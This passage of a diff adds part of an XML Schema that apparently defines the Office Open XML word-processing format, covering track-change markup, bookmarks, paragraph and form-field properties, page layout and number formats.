</xsd:simpleType> + <xsd:complexType name="CT_Markup"> + <xsd:attribute name="id" type="ST_DecimalNumber" use="required"/> + </xsd:complexType> + <xsd:complexType name="CT_TrackChange"> + <xsd:complexContent> + <xsd:extension base="CT_Markup"> + <xsd:attribute name="author" type="s:ST_String" use="required"/> + <xsd:attribute name="date" type="ST_DateTime" use="optional"/> + </xsd:extension> + </xsd:complexContent> + </xsd:complexType> + <xsd:complexType name="CT_CellMergeTrackChange"> + <xsd:complexContent> + <xsd:extension base="CT_TrackChange"> + <xsd:attribute name="vMerge" type="ST_AnnotationVMerge" use="optional"/> + <xsd:attribute name="vMergeOrig" type="ST_AnnotationVMerge" use="optional"/> + </xsd:extension> + </xsd:complexContent> + </xsd:complexType> + <xsd:complexType name="CT_TrackChangeRange"> + <xsd:complexContent> + <xsd:extension base="CT_TrackChange"> + <xsd:attribute name="displacedByCustomXml" type="ST_DisplacedByCustomXml" use="optional"/> + </xsd:extension> + </xsd:complexContent> + </xsd:complexType> + <xsd:complexType name="CT_MarkupRange"> + <xsd:complexContent> + <xsd:extension base="CT_Markup"> + <xsd:attribute name="displacedByCustomXml" type="ST_DisplacedByCustomXml" use="optional"/> + </xsd:extension> + </xsd:complexContent> + </xsd:complexType> + <xsd:complexType name="CT_BookmarkRange"> + <xsd:complexContent> + <xsd:extension base="CT_MarkupRange"> + <xsd:attribute name="colFirst" type="ST_DecimalNumber" use="optional"/> + <xsd:attribute name="colLast" type="ST_DecimalNumber" use="optional"/> + </xsd:extension> + </xsd:complexContent> + </xsd:complexType> + <xsd:complexType name="CT_Bookmark"> + <xsd:complexContent> + <xsd:extension base="CT_BookmarkRange"> + <xsd:attribute name="name" type="s:ST_String" use="required"/> + </xsd:extension> + </xsd:complexContent> + </xsd:complexType> + <xsd:complexType name="CT_MoveBookmark"> + <xsd:complexContent> + <xsd:extension base="CT_Bookmark"> + <xsd:attribute name="author" type="s:ST_String" use="required"/> + <xsd:attribute name="date" type="ST_DateTime" use="required"/> + </xsd:extension> + </xsd:complexContent> + </xsd:complexType> + <xsd:complexType name="CT_Comment"> + <xsd:complexContent> + <xsd:extension base="CT_TrackChange"> + <xsd:sequence> + <xsd:group ref="EG_BlockLevelElts" minOccurs="0" maxOccurs="unbounded"/> + </xsd:sequence> + <xsd:attribute name="initials" type="s:ST_String" use="optional"/> + </xsd:extension> + </xsd:complexContent> + </xsd:complexType> + <xsd:complexType name="CT_TrackChangeNumbering"> + <xsd:complexContent> + <xsd:extension base="CT_TrackChange"> + <xsd:attribute name="original" type="s:ST_String" use="optional"/> + </xsd:extension> + </xsd:complexContent> + </xsd:complexType> + <xsd:complexType name="CT_TblPrExChange"> + <xsd:complexContent> + <xsd:extension base="CT_TrackChange"> + <xsd:sequence> + <xsd:element name="tblPrEx" type="CT_TblPrExBase" minOccurs="1"/> + </xsd:sequence> + </xsd:extension> + </xsd:complexContent> + </xsd:complexType> + <xsd:complexType name="CT_TcPrChange"> + <xsd:complexContent> + <xsd:extension base="CT_TrackChange"> + <xsd:sequence> + <xsd:element name="tcPr" type="CT_TcPrInner" minOccurs="1"/> + </xsd:sequence> + </xsd:extension> + </xsd:complexContent> + </xsd:complexType> + <xsd:complexType name="CT_TrPrChange"> + <xsd:complexContent> + <xsd:extension base="CT_TrackChange"> + <xsd:sequence> + <xsd:element name="trPr" type="CT_TrPrBase" minOccurs="1"/> + </xsd:sequence> + </xsd:extension> + </xsd:complexContent> + </xsd:complexType> + <xsd:complexType name="CT_TblGridChange"> + <xsd:complexContent> + <xsd:extension base="CT_Markup"> + <xsd:sequence> + <xsd:element name="tblGrid" type="CT_TblGridBase"/> + </xsd:sequence> + </xsd:extension> + </xsd:complexContent> + </xsd:complexType> + <xsd:complexType name="CT_TblPrChange"> + <xsd:complexContent> + <xsd:extension base="CT_TrackChange"> + <xsd:sequence> + <xsd:element name="tblPr" type="CT_TblPrBase"/> + </xsd:sequence> + </xsd:extension> + </xsd:complexContent> + </xsd:complexType> + <xsd:complexType name="CT_SectPrChange"> + <xsd:complexContent> + <xsd:extension base="CT_TrackChange"> + <xsd:sequence> + <xsd:element name="sectPr" type="CT_SectPrBase" minOccurs="0"/> + </xsd:sequence> + </xsd:extension> + </xsd:complexContent> + </xsd:complexType> + <xsd:complexType name="CT_PPrChange"> + <xsd:complexContent> + <xsd:extension base="CT_TrackChange"> + <xsd:sequence> + <xsd:element name="pPr" type="CT_PPrBase" minOccurs="1"/> + </xsd:sequence> + </xsd:extension> + </xsd:complexContent> + </xsd:complexType> + <xsd:complexType name="CT_RPrChange"> + <xsd:complexContent> + <xsd:extension base="CT_TrackChange"> + <xsd:sequence> + <xsd:element name="rPr" type="CT_RPrOriginal" minOccurs="1"/> + </xsd:sequence> + </xsd:extension> + </xsd:complexContent> + </xsd:complexType> + <xsd:complexType name="CT_ParaRPrChange"> + <xsd:complexContent> + <xsd:extension base="CT_TrackChange"> + <xsd:sequence> + <xsd:element name="rPr" type="CT_ParaRPrOriginal" minOccurs="1"/> + </xsd:sequence> + </xsd:extension> + </xsd:complexContent> + </xsd:complexType> + <xsd:complexType name="CT_RunTrackChange"> + <xsd:complexContent> + <xsd:extension base="CT_TrackChange"> + <xsd:choice minOccurs="0" maxOccurs="unbounded"> + <xsd:group ref="EG_ContentRunContent"/> + <xsd:group ref="m:EG_OMathMathElements"/> + </xsd:choice> + </xsd:extension> + </xsd:complexContent> + </xsd:complexType> + <xsd:group name="EG_PContentMath"> + <xsd:choice> + <xsd:group ref="EG_PContentBase" minOccurs="0" maxOccurs="unbounded"/> + <xsd:group ref="EG_ContentRunContentBase" minOccurs="0" maxOccurs="unbounded"/> + </xsd:choice> + </xsd:group> + <xsd:group name="EG_PContentBase"> + <xsd:choice> + <xsd:element name="customXml" type="CT_CustomXmlRun"/> + <xsd:element name="fldSimple" type="CT_SimpleField" minOccurs="0" maxOccurs="unbounded"/> + <xsd:element name="hyperlink" type="CT_Hyperlink"/> + </xsd:choice> + </xsd:group> + <xsd:group name="EG_ContentRunContentBase"> + <xsd:choice> + <xsd:element name="smartTag" type="CT_SmartTagRun"/> + <xsd:element name="sdt" type="CT_SdtRun"/> + <xsd:group ref="EG_RunLevelElts" minOccurs="0" maxOccurs="unbounded"/> + </xsd:choice> + </xsd:group> + <xsd:group name="EG_CellMarkupElements"> + <xsd:choice> + <xsd:element name="cellIns" type="CT_TrackChange" minOccurs="0"/> + <xsd:element name="cellDel" type="CT_TrackChange" minOccurs="0"/> + <xsd:element name="cellMerge" type="CT_CellMergeTrackChange" minOccurs="0"/> + </xsd:choice> + </xsd:group> + <xsd:group name="EG_RangeMarkupElements"> + <xsd:choice> + <xsd:element name="bookmarkStart" type="CT_Bookmark"/> + <xsd:element name="bookmarkEnd" type="CT_MarkupRange"/> + <xsd:element name="moveFromRangeStart" type="CT_MoveBookmark"/> + <xsd:element name="moveFromRangeEnd" type="CT_MarkupRange"/> + <xsd:element name="moveToRangeStart" type="CT_MoveBookmark"/> + <xsd:element name="moveToRangeEnd" type="CT_MarkupRange"/> + <xsd:element name="commentRangeStart" type="CT_MarkupRange"/> + <xsd:element name="commentRangeEnd" type="CT_MarkupRange"/> + <xsd:element name="customXmlInsRangeStart" type="CT_TrackChange"/> + <xsd:element name="customXmlInsRangeEnd" type="CT_Markup"/> + <xsd:element name="customXmlDelRangeStart" type="CT_TrackChange"/> + <xsd:element name="customXmlDelRangeEnd" type="CT_Markup"/> + <xsd:element name="customXmlMoveFromRangeStart" type="CT_TrackChange"/> + <xsd:element name="customXmlMoveFromRangeEnd" type="CT_Markup"/> + <xsd:element name="customXmlMoveToRangeStart" type="CT_TrackChange"/> + <xsd:element name="customXmlMoveToRangeEnd" type="CT_Markup"/> + </xsd:choice> + </xsd:group> + <xsd:complexType name="CT_NumPr"> + <xsd:sequence> + <xsd:element name="ilvl" type="CT_DecimalNumber" minOccurs="0"/> + <xsd:element name="numId" type="CT_DecimalNumber" minOccurs="0"/> + <xsd:element name="numberingChange" type="CT_TrackChangeNumbering" minOccurs="0"/> + <xsd:element name="ins" type="CT_TrackChange" minOccurs="0"/> + </xsd:sequence> + </xsd:complexType> + <xsd:complexType name="CT_PBdr"> + <xsd:sequence> + <xsd:element name="top" type="CT_Border" minOccurs="0"/> + <xsd:element name="left" type="CT_Border" minOccurs="0"/> + <xsd:element name="bottom" type="CT_Border" minOccurs="0"/> + <xsd:element name="right" type="CT_Border" minOccurs="0"/> + <xsd:element name="between" type="CT_Border" minOccurs="0"/> + <xsd:element name="bar" type="CT_Border" minOccurs="0"/> + </xsd:sequence> + </xsd:complexType> + <xsd:complexType name="CT_Tabs"> + <xsd:sequence> + <xsd:element name="tab" type="CT_TabStop" minOccurs="1" maxOccurs="unbounded"/> + </xsd:sequence> + </xsd:complexType> + <xsd:simpleType name="ST_TextboxTightWrap"> + <xsd:restriction base="xsd:string"> + <xsd:enumeration value="none"/> + <xsd:enumeration value="allLines"/> + <xsd:enumeration value="firstAndLastLine"/> + <xsd:enumeration value="firstLineOnly"/> + <xsd:enumeration value="lastLineOnly"/> + </xsd:restriction> + </xsd:simpleType> + <xsd:complexType name="CT_TextboxTightWrap"> + <xsd:attribute name="val" type="ST_TextboxTightWrap" use="required"/> + </xsd:complexType> + <xsd:complexType name="CT_PPrBase"> + <xsd:sequence> + <xsd:element name="pStyle" type="CT_String" minOccurs="0"/> + <xsd:element name="keepNext" type="CT_OnOff" minOccurs="0"/> + <xsd:element name="keepLines" type="CT_OnOff" minOccurs="0"/> + <xsd:element name="pageBreakBefore" type="CT_OnOff" minOccurs="0"/> + <xsd:element name="framePr" type="CT_FramePr" minOccurs="0"/> + <xsd:element name="widowControl" type="CT_OnOff" minOccurs="0"/> + <xsd:element name="numPr" type="CT_NumPr" minOccurs="0"/> + <xsd:element name="suppressLineNumbers" type="CT_OnOff" minOccurs="0"/> + <xsd:element name="pBdr" type="CT_PBdr" minOccurs="0"/> + <xsd:element name="shd" type="CT_Shd" minOccurs="0"/> + <xsd:element name="tabs" type="CT_Tabs" minOccurs="0"/> + <xsd:element name="suppressAutoHyphens" type="CT_OnOff" minOccurs="0"/> + <xsd:element name="kinsoku" type="CT_OnOff" minOccurs="0"/> + <xsd:element name="wordWrap" type="CT_OnOff" minOccurs="0"/> + <xsd:element name="overflowPunct" type="CT_OnOff" minOccurs="0"/> + <xsd:element name="topLinePunct" type="CT_OnOff" minOccurs="0"/> + <xsd:element name="autoSpaceDE" type="CT_OnOff" minOccurs="0"/> + <xsd:element name="autoSpaceDN" type="CT_OnOff" minOccurs="0"/> + <xsd:element name="bidi" type="CT_OnOff" minOccurs="0"/> + <xsd:element name="adjustRightInd" type="CT_OnOff" minOccurs="0"/> + <xsd:element name="snapToGrid" type="CT_OnOff" minOccurs="0"/> + <xsd:element name="spacing" type="CT_Spacing" minOccurs="0"/> + <xsd:element name="ind" type="CT_Ind" minOccurs="0"/> + <xsd:element name="contextualSpacing" type="CT_OnOff" minOccurs="0"/> + <xsd:element name="mirrorIndents" type="CT_OnOff" minOccurs="0"/> + <xsd:element name="suppressOverlap" type="CT_OnOff" minOccurs="0"/> + <xsd:element name="jc" type="CT_Jc" minOccurs="0"/> + <xsd:element name="textDirection" type="CT_TextDirection" minOccurs="0"/> + <xsd:element name="textAlignment" type="CT_TextAlignment" minOccurs="0"/> + <xsd:element name="textboxTightWrap" type="CT_TextboxTightWrap" minOccurs="0"/> + <xsd:element name="outlineLvl" type="CT_DecimalNumber" minOccurs="0"/> + <xsd:element name="divId" type="CT_DecimalNumber" minOccurs="0"/> + <xsd:element name="cnfStyle" type="CT_Cnf" minOccurs="0" maxOccurs="1"/> + </xsd:sequence> + </xsd:complexType> + <xsd:complexType name="CT_PPr"> + <xsd:complexContent> + <xsd:extension base="CT_PPrBase"> + <xsd:sequence> + <xsd:element name="rPr" type="CT_ParaRPr" minOccurs="0"/> + <xsd:element name="sectPr" type="CT_SectPr" minOccurs="0"/> + <xsd:element name="pPrChange" type="CT_PPrChange" minOccurs="0"/> + </xsd:sequence> + </xsd:extension> + </xsd:complexContent> + </xsd:complexType> + <xsd:complexType name="CT_PPrGeneral"> + <xsd:complexContent> + <xsd:extension base="CT_PPrBase"> + <xsd:sequence> + <xsd:element name="pPrChange" type="CT_PPrChange" minOccurs="0"/> + </xsd:sequence> + </xsd:extension> + </xsd:complexContent> + </xsd:complexType> + <xsd:complexType name="CT_Control"> + <xsd:attribute name="name" type="s:ST_String" use="optional"/> + <xsd:attribute name="shapeid" type="s:ST_String" use="optional"/> + <xsd:attribute ref="r:id" use="optional"/> + </xsd:complexType> + <xsd:complexType name="CT_Background"> + <xsd:sequence> + <xsd:sequence maxOccurs="unbounded"> + <xsd:any processContents="lax" namespace="urn:schemas-microsoft-com:vml" minOccurs="0" + maxOccurs="unbounded"/> + <xsd:any processContents="lax" namespace="urn:schemas-microsoft-com:office:office" + minOccurs="0" maxOccurs="unbounded"/> + </xsd:sequence> + <xsd:element name="drawing" type="CT_Drawing" minOccurs="0"/> + </xsd:sequence> + <xsd:attribute name="color" type="ST_HexColor" use="optional" default="auto"/> + <xsd:attribute name="themeColor" type="ST_ThemeColor" use="optional"/> + <xsd:attribute name="themeTint" type="ST_UcharHexNumber" use="optional"/> + <xsd:attribute name="themeShade" type="ST_UcharHexNumber" use="optional"/> + </xsd:complexType> + <xsd:complexType name="CT_Rel"> + <xsd:attribute ref="r:id" use="required"/> + </xsd:complexType> + <xsd:complexType name="CT_Object"> + <xsd:sequence> + <xsd:sequence maxOccurs="unbounded"> + <xsd:any processContents="lax" namespace="urn:schemas-microsoft-com:vml" minOccurs="0" + maxOccurs="unbounded"/> + <xsd:any processContents="lax" namespace="urn:schemas-microsoft-com:office:office" + minOccurs="0" maxOccurs="unbounded"/> + </xsd:sequence> + <xsd:element name="drawing" type="CT_Drawing" minOccurs="0"/> + <xsd:choice minOccurs="0"> + <xsd:element name="control" type="CT_Control"/> + <xsd:element name="objectLink" type="CT_ObjectLink"/> + <xsd:element name="objectEmbed" type="CT_ObjectEmbed"/> + <xsd:element name="movie" type="CT_Rel"/> + </xsd:choice> + </xsd:sequence> + <xsd:attribute name="dxaOrig" type="s:ST_TwipsMeasure" use="optional"/> + <xsd:attribute name="dyaOrig" type="s:ST_TwipsMeasure" use="optional"/> + </xsd:complexType> + <xsd:complexType name="CT_Picture"> + <xsd:sequence> + <xsd:sequence maxOccurs="unbounded"> + <xsd:any processContents="lax" namespace="urn:schemas-microsoft-com:vml" minOccurs="0" + maxOccurs="unbounded"/> + <xsd:any processContents="lax" namespace="urn:schemas-microsoft-com:office:office" + minOccurs="0" maxOccurs="unbounded"/> + </xsd:sequence> + <xsd:element name="movie" type="CT_Rel" minOccurs="0"/> + <xsd:element name="control" type="CT_Control" minOccurs="0"/> + </xsd:sequence> + </xsd:complexType> + <xsd:complexType name="CT_ObjectEmbed"> + <xsd:attribute name="drawAspect" type="ST_ObjectDrawAspect" use="optional"/> + <xsd:attribute ref="r:id" use="required"/> + <xsd:attribute name="progId" type="s:ST_String" use="optional"/> + <xsd:attribute name="shapeId" type="s:ST_String" use="optional"/> + <xsd:attribute name="fieldCodes" type="s:ST_String" use="optional"/> + </xsd:complexType> + <xsd:simpleType name="ST_ObjectDrawAspect"> + <xsd:restriction base="xsd:string"> + <xsd:enumeration value="content"/> + <xsd:enumeration value="icon"/> + </xsd:restriction> + </xsd:simpleType> + <xsd:complexType name="CT_ObjectLink"> + <xsd:complexContent> + <xsd:extension base="CT_ObjectEmbed"> + <xsd:attribute name="updateMode" type="ST_ObjectUpdateMode" use="required"/> + <xsd:attribute name="lockedField" type="s:ST_OnOff" use="optional"/> + </xsd:extension> + </xsd:complexContent> + </xsd:complexType> + <xsd:simpleType name="ST_ObjectUpdateMode"> + <xsd:restriction base="xsd:string"> + <xsd:enumeration value="always"/> + <xsd:enumeration value="onCall"/> + </xsd:restriction> + </xsd:simpleType> + <xsd:complexType name="CT_Drawing"> + <xsd:choice minOccurs="1" maxOccurs="unbounded"> + <xsd:element ref="wp:anchor" minOccurs="0"/> + <xsd:element ref="wp:inline" minOccurs="0"/> + </xsd:choice> + </xsd:complexType> + <xsd:complexType name="CT_SimpleField"> + <xsd:sequence> + <xsd:element name="fldData" type="CT_Text" minOccurs="0" maxOccurs="1"/> + <xsd:group ref="EG_PContent" minOccurs="0" maxOccurs="unbounded"/> + </xsd:sequence> + <xsd:attribute name="instr" type="s:ST_String" use="required"/> + <xsd:attribute name="fldLock" type="s:ST_OnOff"/> + <xsd:attribute name="dirty" type="s:ST_OnOff"/> + </xsd:complexType> + <xsd:simpleType name="ST_FldCharType"> + <xsd:restriction base="xsd:string"> + <xsd:enumeration value="begin"/> + <xsd:enumeration value="separate"/> + <xsd:enumeration value="end"/> + </xsd:restriction> + </xsd:simpleType> + <xsd:simpleType name="ST_InfoTextType"> + <xsd:restriction base="xsd:string"> + <xsd:enumeration value="text"/> + <xsd:enumeration value="autoText"/> + </xsd:restriction> + </xsd:simpleType> + <xsd:simpleType name="ST_FFHelpTextVal"> + <xsd:restriction base="xsd:string"> + <xsd:maxLength value="256"/> + </xsd:restriction> + </xsd:simpleType> + <xsd:simpleType name="ST_FFStatusTextVal"> + <xsd:restriction base="xsd:string"> + <xsd:maxLength value="140"/> + </xsd:restriction> + </xsd:simpleType> + <xsd:simpleType name="ST_FFName"> + <xsd:restriction base="xsd:string"> + <xsd:maxLength value="65"/> + </xsd:restriction> + </xsd:simpleType> + <xsd:simpleType name="ST_FFTextType"> + <xsd:restriction base="xsd:string"> + <xsd:enumeration value="regular"/> + <xsd:enumeration value="number"/> + <xsd:enumeration value="date"/> + <xsd:enumeration value="currentTime"/> + <xsd:enumeration value="currentDate"/> + <xsd:enumeration value="calculated"/> + </xsd:restriction> + </xsd:simpleType> + <xsd:complexType name="CT_FFTextType"> + <xsd:attribute name="val" type="ST_FFTextType" use="required"/> + </xsd:complexType> + <xsd:complexType name="CT_FFName"> + <xsd:attribute name="val" type="ST_FFName"/> + </xsd:complexType> + <xsd:complexType name="CT_FldChar"> + <xsd:choice> + <xsd:element name="fldData" type="CT_Text" minOccurs="0" maxOccurs="1"/> + <xsd:element name="ffData" type="CT_FFData" minOccurs="0" maxOccurs="1"/> + <xsd:element name="numberingChange" type="CT_TrackChangeNumbering" minOccurs="0"/> + </xsd:choice> + <xsd:attribute name="fldCharType" type="ST_FldCharType" use="required"/> + <xsd:attribute name="fldLock" type="s:ST_OnOff"/> + <xsd:attribute name="dirty" type="s:ST_OnOff"/> + </xsd:complexType> + <xsd:complexType name="CT_Hyperlink"> + <xsd:group ref="EG_PContent" minOccurs="0" maxOccurs="unbounded"/> + <xsd:attribute name="tgtFrame" type="s:ST_String" use="optional"/> + <xsd:attribute name="tooltip" type="s:ST_String" use="optional"/> + <xsd:attribute name="docLocation" type="s:ST_String" use="optional"/> + <xsd:attribute name="history" type="s:ST_OnOff" use="optional"/> + <xsd:attribute name="anchor" type="s:ST_String" use="optional"/> + <xsd:attribute ref="r:id"/> + </xsd:complexType> + <xsd:complexType name="CT_FFData"> + <xsd:choice maxOccurs="unbounded"> + <xsd:element name="name" type="CT_FFName"/> + <xsd:element name="label" type="CT_DecimalNumber" minOccurs="0"/> + <xsd:element name="tabIndex" type="CT_UnsignedDecimalNumber" minOccurs="0"/> + <xsd:element name="enabled" type="CT_OnOff"/> + <xsd:element name="calcOnExit" type="CT_OnOff"/> + <xsd:element name="entryMacro" type="CT_MacroName" minOccurs="0" maxOccurs="1"/> + <xsd:element name="exitMacro" type="CT_MacroName" minOccurs="0" maxOccurs="1"/> + <xsd:element name="helpText" type="CT_FFHelpText" minOccurs="0" maxOccurs="1"/> + <xsd:element name="statusText" type="CT_FFStatusText" minOccurs="0" maxOccurs="1"/> + <xsd:choice> + <xsd:element name="checkBox" type="CT_FFCheckBox"/> + <xsd:element name="ddList" type="CT_FFDDList"/> + <xsd:element name="textInput" type="CT_FFTextInput"/> + </xsd:choice> + </xsd:choice> + </xsd:complexType> + <xsd:complexType name="CT_FFHelpText"> + <xsd:attribute name="type" type="ST_InfoTextType"/> + <xsd:attribute name="val" type="ST_FFHelpTextVal"/> + </xsd:complexType> + <xsd:complexType name="CT_FFStatusText"> + <xsd:attribute name="type" type="ST_InfoTextType"/> + <xsd:attribute name="val" type="ST_FFStatusTextVal"/> + </xsd:complexType> + <xsd:complexType name="CT_FFCheckBox"> + <xsd:sequence> + <xsd:choice> + <xsd:element name="size" type="CT_HpsMeasure"/> + <xsd:element name="sizeAuto" type="CT_OnOff"/> + </xsd:choice> + <xsd:element name="default" type="CT_OnOff" minOccurs="0"/> + <xsd:element name="checked" type="CT_OnOff" minOccurs="0"/> + </xsd:sequence> + </xsd:complexType> + <xsd:complexType name="CT_FFDDList"> + <xsd:sequence> + <xsd:element name="result" type="CT_DecimalNumber" minOccurs="0"/> + <xsd:element name="default" type="CT_DecimalNumber" minOccurs="0"/> + <xsd:element name="listEntry" type="CT_String" minOccurs="0" maxOccurs="unbounded"/> + </xsd:sequence> + </xsd:complexType> + <xsd:complexType name="CT_FFTextInput"> + <xsd:sequence> + <xsd:element name="type" type="CT_FFTextType" minOccurs="0"/> + <xsd:element name="default" type="CT_String" minOccurs="0"/> + <xsd:element name="maxLength" type="CT_DecimalNumber" minOccurs="0"/> + <xsd:element name="format" type="CT_String" minOccurs="0"/> + </xsd:sequence> + </xsd:complexType> + <xsd:simpleType name="ST_SectionMark"> + <xsd:restriction base="xsd:string"> + <xsd:enumeration value="nextPage"/> + <xsd:enumeration value="nextColumn"/> + <xsd:enumeration value="continuous"/> + <xsd:enumeration value="evenPage"/> + <xsd:enumeration value="oddPage"/> + </xsd:restriction> + </xsd:simpleType> + <xsd:complexType name="CT_SectType"> + <xsd:attribute name="val" type="ST_SectionMark"/> + </xsd:complexType> + <xsd:complexType name="CT_PaperSource"> + <xsd:attribute name="first" type="ST_DecimalNumber"/> + <xsd:attribute name="other" type="ST_DecimalNumber"/> + </xsd:complexType> + <xsd:simpleType name="ST_NumberFormat"> + <xsd:restriction base="xsd:string"> + <xsd:enumeration value="decimal"/> + <xsd:enumeration value="upperRoman"/> + <xsd:enumeration value="lowerRoman"/> + <xsd:enumeration value="upperLetter"/> + <xsd:enumeration value="lowerLetter"/> + <xsd:enumeration value="ordinal"/> + <xsd:enumeration value="cardinalText"/> + <xsd:enumeration value="ordinalText"/> + <xsd:enumeration value="hex"/> + <xsd:enumeration value="chicago"/> + <xsd:enumeration value="ideographDigital"/> + <xsd:enumeration value="japaneseCounting"/> + <xsd:enumeration value="aiueo"/> + <xsd:enumeration value="iroha"/> + <xsd:enumeration value="decimalFullWidth"/> + <xsd:enumeration value="decimalHalfWidth"/> + <xsd:enumeration value="japaneseLegal"/> + <xsd:enumeration value="japaneseDigitalTenThousand"/> + <xsd:enumeration value="decimalEnclosedCircle"/> + <xsd:enumeration value="decimalFullWidth2"/> + <xsd:enumeration value="aiueoFullWidth"/> + <xsd:enumeration value="irohaFullWidth"/> + <xsd:enumeration value="decimalZero"/> + <xsd:enumeration value="bullet"/> + <xsd:enumeration value="ganada"/> + <xsd:enumeration value="chosung"/> + <xsd:enumeration value="decimalEnclosedFullstop"/> + <xsd:enumeration value="decimalEnclosedParen"/> + <xsd:enumeration value="decimalEnclosedCircleChinese"/> + <xsd:enumeration value="ideographEnclosedCircle"/> + <xsd:enumeration value="ideographTraditional"/> + <xsd:enumeration value="ideographZodiac"/> + <xsd:enumeration value="ideographZodiacTraditional"/> + <xsd:enumeration value="taiwaneseCounting"/> + <xsd:enumeration value="ideographLegalTraditional"/> + <xsd:enumeration value="taiwaneseCountingThousand"/> + <xsd:enumeration value="taiwaneseDigital"/> + <xsd:enumeration value="chineseCounting"/> + <xsd:enumeration value="chineseLegalSimplified"/> + <xsd:enumeration value="chineseCountingThousand"/> + <xsd:enumeration value="koreanDigital"/> + <xsd:enumeration value="koreanCounting"/> + <xsd:enumeration value="koreanLegal"/> + <xsd:enumeration value="koreanDigital2"/> + <xsd:enumeration value="vietnameseCounting"/> + <xsd:enumeration value="russianLower"/> + <xsd:enumeration value="russianUpper"/> + <xsd:enumeration value="none"/> + <xsd:enumeration value="numberInDash"/> + <xsd:enumeration value="hebrew1"/> + <xsd:enumeration value="hebrew2"/> + <xsd:enumeration value="arabicAlpha"/> + <xsd:enumeration value="arabicAbjad"/> + <xsd:enumeration value="hindiVowels"/> + <xsd:enumeration value="hindiConsonants"/> + <xsd:enumeration value="hindiNumbers"/> + <xsd:enumeration value="hindiCounting"/> + <xsd:enumeration value="thaiLetters"/> + <xsd:enumeration value="thaiNumbers"/> + <xsd:enumeration value="thaiCounting"/> + <xsd:enumeration value="bahtText"/> + <xsd:enumeration value="dollarText"/> + <xsd:enumeration value="custom"/> + </xsd:restriction> + </xsd:simpleType> + <xsd:simpleType name="ST_PageOrientation"> + <xsd:restriction base="xsd:string"> + <xsd:enumeration value="portrait"/> + <xsd:enumeration value="landscape"/> + </xsd:restriction> + </xsd:simpleType> + <xsd:complexType name="CT_PageSz"> + <xsd:attribute name="w" type="s:ST_TwipsMeasure"/> + <xsd:attribute name="h" type="s:ST_TwipsMeasure"/> + <xsd:attribute name="orient" type="ST_PageOrientation" use="optional"/> + <xsd:attribute name="code" type="ST_DecimalNumber" use="optional"/> + </xsd:complexType> + <xsd:complexType name="CT_PageMar"> + <xsd:attribute name="top" type="ST_SignedTwipsMeasure" use="required"/> + <xsd:attribute name="right" type="s:ST_TwipsMeasure" use="required"/> + <xsd:attribute name="bottom" type="ST_SignedTwipsMeasure" use="required"/> + <xsd:attribute name="left" type="s:ST_TwipsMeasure" use="required"/> + <xsd:attribute name="header" type="s:ST_TwipsMeasure" use="required"/> + <xsd:attribute name="footer" type="s:ST_TwipsMeasure" use="required"/> + <xsd:attribute name="gutter" type="s:ST_TwipsMeasure" use="required"/> + </xsd:complexType> + <xsd:simpleType name="ST_PageBorderZOrder"> + <xsd:restriction base="xsd:string"> + <xsd:enumeration value="front"/> + <xsd:enumeration value="back"/> + </xsd:restriction> + </xsd:simpleType> + <xsd:simpleType name="ST_PageBorderDisplay"> + <xsd:restriction base="xsd:string"> + <xsd:enumeration value="allPages"/> + <xsd:enumeration value="firstPage"/> + <xsd:enumeration value="notFirstPage"/> + </xsd:restriction> + </xsd:simpleType> + <xsd:simpleType name="ST_PageBorderOffset"> + <xsd:restriction base="xsd:string"> + <xsd:enumeration value="page"/> + <xsd:enumeration value="text"/> + </xsd:restriction> + </xsd:simpleType> + <xsd:complexType name="CT_PageBorders"> + <xsd:sequence> + <xsd:element name="top" type="CT_TopPageBorder" minOccurs="0"/> + <xsd:element name="left" type="CT_PageBorder" minOccurs="0"/> + <xsd:element name="bottom" type="CT_BottomPageBorder" minOccurs="0"/> + <xsd:element name="right" type="CT_PageBorder" minOccurs="0"/> + </xsd:sequence> + <xsd:attribute name="zOrder" type="ST_PageBorderZOrder" use="optional" default="front"/> + <xsd:attribute name="display" type="ST_PageBorderDisplay" use="optional"/> + <xsd:attribute name="offsetFrom" type="ST_PageBorderOffset" use="optional" default="text"/> + </xsd:complexType> + <xsd:complexType name="CT_PageBorder"> + <xsd:complexContent> + <xsd:extension base="CT_Border"> + <xsd:attribute ref="r:id" use="optional"/> + </xsd:extension> + </xsd:complexContent> + </xsd:complexType> + <xsd:complexType name="CT_BottomPageBorder"> + <xsd:complexContent> + <xsd:extension base="CT_PageBorder"> + <xsd:attribute ref="r:bottomLeft" use="optional"/> + <xsd:attribute ref="r:bottomRight" use="optional"/> + </xsd:extension> + </xsd:complexContent> + </xsd:complexType> + <xsd:complexType name="CT_TopPageBorder"> + <xsd:complexContent> + <xsd:extension base="CT_PageBorder"> + <xsd:attribute ref="r:topLeft" use="optional"/> + <xsd:attribute ref="r:topRight" use="optional"/> + </xsd:extension> + </xsd:complexContent> + </xsd:complexType> + <xsd:simpleType name="ST_ChapterSep"> + <xsd:restriction base="xsd:string"> + <xsd:enumeration value="hyphen"/> + <xsd:enumeration value="period"/> + <xsd:enumeration value="colon"/> + <xsd:enumeration value="emDash"/> + <xsd:enumeration value="enDash"/> + </xsd:restriction> + </xsd:simpleType> + <xsd:simpleType name="ST_LineNumberRestart"> + <xsd:restriction base="xsd:string"> + <xsd:enumeration value="newPage"/> + <xsd:enumeration value="newSection"/> + <xsd:enumeration value="continuous"/> + </xsd:restriction> + </xsd:simpleType> + <xsd:complexType name="CT_LineNumber"> + <xsd:attribute name="countBy" type="ST_DecimalNumber" use="optional"/> + <xsd:attribute name="start" type="ST_DecimalNumber" use="optional" default="1"/> + <xsd:attribute name="distance" type="s:ST_TwipsMeasure" use="optional"/> + <xsd:attribute name="restart" type="ST_LineNumberRestart" use="optional" default="newPage"/> + </xsd:complexType> + <xsd:complexType name="CT_PageNumber"> + <xsd:attribute name="fmt" type="ST_NumberFormat" use="optional" default="decimal"/> + <xsd:attribute name="start" type="ST_DecimalNumber" use="optional"/> + <xsd:attribute name="chapStyle" type="ST_DecimalNumber" use="optional"/> + <xsd:attribute name="chapSep" type="ST_ChapterSep" use="optional" default="hyphen"/> + </xsd:complexType> + <xsd:complexType name="CT_Column"> + <xsd:attribute name="w" type="s:ST_TwipsMeasure" use="optional"/> + <xsd:attribute name="space" type="s:ST_TwipsMeasure" use="optional" default="0"/> + </xsd:complexType> + <xsd:complexType name="CT_Columns"> + <xsd:sequence minOccurs="0"> + <xsd:element name="col" type="CT_Column" maxOccurs="45"/> + </xsd:sequence> + <xsd:attribute name="equalWidth" type="s:ST_OnOff" use="optional"/> + <xsd:attribute name="space" type="s:ST_TwipsMeasure" use="optional" default="720"/> + <xsd:attribute name="num" type="ST_DecimalNumber" use="optional" default="1"/> + <xsd:attribute name="sep" 